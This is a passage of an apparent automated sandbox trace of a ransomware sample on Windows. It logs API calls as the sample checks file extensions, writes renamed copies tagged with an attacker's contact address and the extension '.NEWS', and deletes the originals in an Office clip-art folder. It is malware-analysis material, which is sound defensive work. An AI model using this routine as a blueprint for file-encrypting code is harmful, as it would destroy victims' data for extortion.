lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.116] lstrlenW (lpString=".1cd") returned 4 [0162.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.116] lstrlenW (lpString=".jpg") returned 4 [0162.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.117] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0162.117] lstrlenW (lpString="IN00957_.WMF") returned 12 [0162.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0162.117] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2944) returned 1 [0162.117] CloseHandle (hObject=0x47c) returned 1 [0162.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220 [0162.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0162.118] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.118] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.746] GetLastError () returned 0x0 [0162.746] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xb80, lpOverlapped=0x0) returned 1 [0162.748] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xb90, lpOverlapped=0x0) returned 1 [0162.749] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.750] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.750] SetEndOfFile (hFile=0x4c4) returned 1 [0162.750] CloseHandle (hObject=0x4c4) returned 1 [0162.750] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.750] SetEndOfFile (hFile=0x47c) returned 1 [0162.753] CloseHandle (hObject=0x47c) returned 1 [0162.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0162.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0162.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.756] lstrlenW (lpString=".doc") returned 4 [0162.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.757] lstrlenW (lpString=".docx") returned 5 [0162.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.757] lstrlenW (lpString=".pdf") returned 4 [0162.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.757] lstrlenW (lpString=".xls") returned 4 [0162.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.757] lstrlenW (lpString=".xlsx") returned 5 [0162.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.757] lstrlenW (lpString=".ppt") returned 4 [0162.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.757] lstrlenW (lpString=".zip") returned 4 [0162.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.757] lstrlenW (lpString=".rar") returned 4 [0162.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.757] lstrlenW (lpString=".bz2") returned 4 [0162.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.757] lstrlenW (lpString=".7z") returned 3 [0162.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.757] lstrlenW (lpString=".dbf") returned 4 [0162.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.757] lstrlenW (lpString=".1cd") returned 4 [0162.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.758] lstrlenW (lpString=".jpg") returned 4 [0162.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.758] lstrlenW (lpString=".doc") returned 4 [0162.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.758] lstrlenW (lpString=".docx") returned 5 [0162.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.758] lstrlenW (lpString=".pdf") returned 4 [0162.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.758] lstrlenW (lpString=".xls") returned 4 [0162.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.758] lstrlenW (lpString=".xlsx") returned 5 [0162.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.758] lstrlenW (lpString=".ppt") returned 4 [0162.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.758] lstrlenW (lpString=".zip") returned 4 [0162.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.758] lstrlenW (lpString=".rar") returned 4 [0162.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.758] lstrlenW (lpString=".bz2") returned 4 [0162.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.758] lstrlenW (lpString=".7z") returned 3 [0162.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.758] lstrlenW (lpString=".dbf") returned 4 [0162.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.759] lstrlenW (lpString=".1cd") returned 4 [0162.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0162.759] lstrlenW (lpString=".jpg") returned 4 [0162.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.759] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0162.759] lstrlenW (lpString="J0075478.GIF") returned 12 [0162.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.760] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=1220) returned 1 [0162.760] CloseHandle (hObject=0x4c4) returned 1 [0162.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0162.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.761] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.761] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0162.762] GetLastError () returned 0x0 [0162.762] ReadFile (in: hFile=0x4c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x4c4, lpOverlapped=0x0) returned 1 [0162.765] WriteFile (in: hFile=0x4b8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4d0, lpOverlapped=0x0) returned 1 [0162.767] ReadFile (in: hFile=0x4c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.767] WriteFile (in: hFile=0x4b8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.767] SetEndOfFile (hFile=0x4b8) returned 1 [0162.767] CloseHandle (hObject=0x4b8) returned 1 [0162.767] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.767] SetEndOfFile (hFile=0x4c4) returned 1 [0162.776] CloseHandle (hObject=0x4c4) returned 1 [0162.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0162.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0162.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.778] lstrlenW (lpString=".doc") returned 4 [0162.778] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0162.778] lstrlenW (lpString=".docx") returned 5 [0162.778] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0162.778] lstrlenW (lpString=".pdf") returned 4 [0162.778] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0162.778] lstrlenW (lpString=".xls") returned 4 [0162.778] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0162.778] lstrlenW (lpString=".xlsx") returned 5 [0162.778] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0162.778] lstrlenW (lpString=".ppt") returned 4 [0162.778] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0162.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.778] lstrlenW (lpString=".zip") returned 4 [0162.778] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0162.779] lstrlenW (lpString=".rar") returned 4 [0162.779] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0162.779] lstrlenW (lpString=".bz2") returned 4 [0162.779] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0162.779] lstrlenW (lpString=".7z") returned 3 [0162.779] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0162.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.779] lstrlenW (lpString=".dbf") returned 4 [0162.779] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0162.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.779] lstrlenW (lpString=".1cd") returned 4 [0162.779] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0162.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.779] lstrlenW (lpString=".jpg") returned 4 [0162.779] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0162.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.779] lstrlenW (lpString=".doc") returned 4 [0162.779] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0162.779] lstrlenW (lpString=".docx") returned 5 [0162.779] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0162.779] lstrlenW (lpString=".pdf") returned 4 [0162.779] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0162.779] lstrlenW (lpString=".xls") returned 4 [0162.779] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0162.779] lstrlenW (lpString=".xlsx") returned 5 [0162.779] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0162.779] lstrlenW (lpString=".ppt") returned 4 [0162.780] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0162.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.780] lstrlenW (lpString=".zip") returned 4 [0162.780] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0162.780] lstrlenW (lpString=".rar") returned 4 [0162.780] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0162.780] lstrlenW (lpString=".bz2") returned 4 [0162.780] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0162.780] lstrlenW (lpString=".7z") returned 3 [0162.780] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0162.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.780] lstrlenW (lpString=".dbf") returned 4 [0162.780] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0162.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.780] lstrlenW (lpString=".1cd") returned 4 [0162.780] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0162.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.780] lstrlenW (lpString=".jpg") returned 4 [0162.780] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0162.780] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0162.780] lstrlenW (lpString="J0086384.WMF") returned 12 [0162.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.782] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=9734) returned 1 [0162.782] CloseHandle (hObject=0x4c4) returned 1 [0162.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0162.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.783] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.783] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0162.784] GetLastError () returned 0x0 [0162.784] ReadFile (in: hFile=0x4c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2606, lpOverlapped=0x0) returned 1 [0162.788] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2610, lpOverlapped=0x0) returned 1 [0162.942] ReadFile (in: hFile=0x4c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.942] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.942] SetEndOfFile (hFile=0x4bc) returned 1 [0162.942] CloseHandle (hObject=0x4bc) returned 1 [0162.943] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.943] SetEndOfFile (hFile=0x4c4) returned 1 [0162.948] CloseHandle (hObject=0x4c4) returned 1 [0162.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0162.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0162.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.952] lstrlenW (lpString=".doc") returned 4 [0162.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.952] lstrlenW (lpString=".docx") returned 5 [0162.952] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0162.953] lstrlenW (lpString=".pdf") returned 4 [0162.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.953] lstrlenW (lpString=".xls") returned 4 [0162.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.953] lstrlenW (lpString=".xlsx") returned 5 [0162.953] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0162.953] lstrlenW (lpString=".ppt") returned 4 [0162.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.953] lstrlenW (lpString=".zip") returned 4 [0162.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.953] lstrlenW (lpString=".rar") returned 4 [0162.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.953] lstrlenW (lpString=".bz2") returned 4 [0162.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.953] lstrlenW (lpString=".7z") returned 3 [0162.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.953] lstrlenW (lpString=".dbf") returned 4 [0162.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.953] lstrlenW (lpString=".1cd") returned 4 [0162.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.953] lstrlenW (lpString=".jpg") returned 4 [0162.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.954] lstrlenW (lpString=".doc") returned 4 [0162.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.954] lstrlenW (lpString=".docx") returned 5 [0162.954] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0162.954] lstrlenW (lpString=".pdf") returned 4 [0162.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.954] lstrlenW (lpString=".xls") returned 4 [0162.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.954] lstrlenW (lpString=".xlsx") returned 5 [0162.954] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0162.954] lstrlenW (lpString=".ppt") returned 4 [0162.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.954] lstrlenW (lpString=".zip") returned 4 [0162.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.954] lstrlenW (lpString=".rar") returned 4 [0162.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.954] lstrlenW (lpString=".bz2") returned 4 [0162.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.954] lstrlenW (lpString=".7z") returned 3 [0162.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.954] lstrlenW (lpString=".dbf") returned 4 [0162.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.954] lstrlenW (lpString=".1cd") returned 4 [0162.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") 